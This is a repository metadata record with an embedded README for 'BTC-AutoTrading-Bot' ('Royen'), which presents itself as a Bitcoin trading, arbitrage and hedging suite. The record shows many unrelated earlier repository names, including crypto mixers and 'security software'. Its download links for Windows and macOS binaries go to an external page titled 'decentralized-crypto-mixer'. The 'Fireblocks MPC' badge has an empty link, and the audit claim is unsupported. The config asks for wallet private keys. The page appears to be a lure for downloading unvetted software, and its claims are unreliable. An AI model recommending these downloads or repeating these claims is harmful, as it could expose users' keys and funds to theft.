{"id":27119948,"url":"https://github.com/vatsi2/btc-autotrading-bot","last_synced_at":"2025-05-16T04:04:31.850Z","repository":{"id":281194312,"uuid":"944514594","full_name":"vatsi2/BTC-AutoTrading-Bot","owner":"vatsi2","description":"Is the premier BTC trading and risk management. Leverage high-frequency Cross-Chain Arbitrage across Lightning Network, Liquid Network, and top CEX/DEX venues; execute precision TWAP orders on Binance, Kraken, Uniswap, and SushiSwap; and deploy advanced","archived":false,"fork":false,"pushed_at":"2025-04-07T08:55:17.000Z","size":1383,"stargazers_count":344,"open_issues_count":0,"forks_count":80,"subscribers_count":29,"default_branch":"main","last_synced_at":"2025-04-07T09:15:17.933Z","etag":null,"topics":["arbitrage","binance","bitcoin","bitcoin-trading","btc","bybit","coinbase","cross-chain","crypto","cryptocurrency","defi","dex","hft","high-frequency","kraken","kucoin","okx","trading","twap","uniswap"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/vatsi2.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2025-03-07T13:34:42.000Z","updated_at":"2025-04-07T09:05:40.000Z","dependencies_parsed_at":"2025-03-31T23:30:01.393Z","dependency_job_id":"4e1fef99-19f8-4092-9b5c-bc9a75dced47","html_url":"https://github.com/vatsi2/BTC-AutoTrading-Bot","commit_stats":null,"previous_names":["vatsi2/defi-trading-tool-rwa-crosschain","vatsi2/whale-flow","vatsi2/anti-liquidation-anti-mev-flash-loans-arbitrage-bot","vatsi2/defi-mev-protection-flashloan-anti-liquidation-bot","vatsi2/crosschain-anonymizer-cca","vatsi2/crosschain-anonymizer-cca-dex-crypto-mixer","vatsi2/dex-crypto-mixer-tor-btc-eth-xmr","vatsi2/bitcoin-dex-trading-software","vatsi2/defi-algo-trading-bot","vatsi2/bitcoin-guard","vatsi2/mev-fortress-pro","vatsi2/bitcoin-security-software","vatsi2/bitcoin-software","vatsi2/bitcoin-investor-software","vatsi2/btc-autotrading-bot"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vatsi2%2FBTC-AutoTrading-Bot","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vatsi2%2FBTC-AutoTrading-Bot/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vatsi2%2FBTC-AutoTrading-Bot/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vatsi2%2FBTC-AutoTrading-Bot/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/vatsi2","download_url":"https://codeload.github.com/vatsi2/BTC-AutoTrading-Bot/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247622988,"owners_count":20968575,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["arbitrage","binance","bitcoin","bitcoin-trading","btc","bybit","coinbase","cross-chain","crypto","cryptocurrency","defi","dex","hft","high-frequency","kraken","kucoin","okx","trading","twap","uniswap"],"created_at":"2025-04-07T09:15:22.757Z","updated_at":"2025-04-07T09:15:23.697Z","avatar_url":"https://github.com/vatsi2.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# 🛡️ Royen\n## 🔥 **Description**  \n**Royen** is a powerful, portable Python suite for automated BTC Trading, Cross-Chain Arbitrage, TWAP Execution, and Leveraged Long/Short strategies, with built-in Risk Management and Alerts—all running locally, no AI required.\n\n[![Audited by OpenZeppelin](https://img.shields.io/badge/Audit-OpenZeppelin-green)](https://openzeppelin.com)\n[![MPC Wallet Support](https://img.shields.io/badge/Security-Fireblocks%20MPC-blue)](https://)\n\n\u003cp align=\"center\"\u003e\u003cimg width=\"700\" height=\"500\" src=\"btc/gui.jpg\" alt=\"Bot interface\" /\u003e\u003c/p\u003e\n\n# Download\n### **Download** [Windows](https://selenium-finance.gitbook.io/decentralized-crypto-mixer/download/windows) / [macOS](https://selenium-finance.gitbook.io/decentralized-crypto-mixer/download/macos)\n\n# Docs \n### [**Documentation**](https://selenium-finance.gitbook.io/secure-bitcoin-trading)\n\n[![License](https://img.shields.io/badge/License-MIT-green)](https://github.com/yourusername/defi-algo-bot)\n[![Python](https://img.shields.io/badge/Python-3.10%2B-blue)](https://www.python.org)\n[![Web3](https://img.shields.io/badge/Web3.py-6.0+-brightgreen)](https://web3py.readthedocs.io)\n\n## 🚀 **Key Features**  \n\n### 🔒 Dynamic Risk Management\n- Tracks portfolio peak value and calculates drawdown in real time.\n- When drawdown exceeds a configurable maximum, automatically hedges exposure (e.g., converts BTC to USDT or opens offsetting futures). \n- Disables further trading until manual reset or recovery. \n\n### 💹 Portfolio Tracking \u0026 Hedging\n- Aggregates balances and calculates total portfolio value across all venues. \n- Executes hedges proportionally across exchanges and chains.\n\n### 📊 Exchange \u0026 DEX Connectivity\n- Integrates with multiple centralized exchanges (CEX) via CCXT.\n- Connects to decentralized exchanges (DEX) on various chains via on-chain APIs or SDKs (e.g., Web3.py, 0x).\n- Unified interface for fetching prices, balances, and placing orders across CEX and DEX.\n\n### ☄️ Cross-Chain Arbitrage\n- Monitors price spreads of BTC/USDT across configured exchanges and networks.\n- Executes buy on the lowest-priced venue and sell on the highest when the spread exceeds a threshold.  \n- Supports bridging assets across chains to capture cross-chain opportunities.\n- Automatically cancels or halts trades based on risk conditions.\n\n\u003cp align=\"center\"\u003e\u003cimg width=\"700\" height=\"500\" src=\"btc/asd.png\" alt=\"Bot interface\" /\u003e\u003c/p\u003e\n\n### 🌐 Leveraged Long/Short Trading\n- Opens margin or futures positions to go long or short on BTC. \n- Configurable leverage levels per exchange or trading pair.\n- Integrates risk checks to prevent liquidation and excessive exposure.\n\n### ⚡️ TWAP Execution\n- Splits large orders into multiple slices over time to minimize market impact.\n- Configurable number of slices and interval between each slice.\n- Pauses or cancels remaining slices if risk thresholds are breached.\n\n### 📑 Unified Logging \u0026 Alerts\n- Standardized log output for all actions (trades, hedges, risk events).\n- Timestamped entries with log levels (INFO, WARNING, ERROR) for audit and debugging.\n- Optional email or webhook alerts on critical events.\n\n### 🔍 Scheduler Loop\n- Uses a simple scheduler (schedule library) to run strategies at defined intervals.\n- Continuous loop with configurable polling frequencies.\n\n## ⚙️ Configurable Settings \u0026 Usage Guide(Just choose in GUI)\n```\nexchanges:\n  - name: binance           # CCXT exchange identifier\n    api_key: YOUR_KEY\n    secret: YOUR_SECRET\n  - name: uniswap_v2        # DEX via on-chain SDK\n    rpc_url: YOUR_RPC_URL\n    private_key: YOUR_PRIVATE_KEY\n\nrisk:\n  max_drawdown_pct: 0.05    # Maximum tolerated drawdown before hedging (5%)\n  hedge_allocation_pct: 0.5 # Fraction of BTC exposure to hedge (50%)\n\narbitrage:\n  min_spread_pct: 0.2       # Minimum price spread (%) to trigger arbitrage\n  trade_amount_btc: 0.1     # BTC amount per arbitrage cycle\n  cross_chain: true         # Enable cross-chain bridging for arbitrage\n\nlong_short:\n  max_leverage: 5           # Maximum leverage for margin/futures\n  default_side: both        # \"long\", \"short\", or \"both\"\n\ntwap:\n  interval_seconds: 60      # Seconds between TWAP slices\n  slices: 10                # Number of TWAP slices per order\n\nalerts:\n  email: user@example.com   # Email for critical alerts\n  webhook_url: null         # Webhook for notifications\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fvatsi2%2Fbtc-autotrading-bot","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fvatsi2%2Fbtc-autotrading-bot","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fvatsi2%2Fbtc-autotrading-bot/lists"}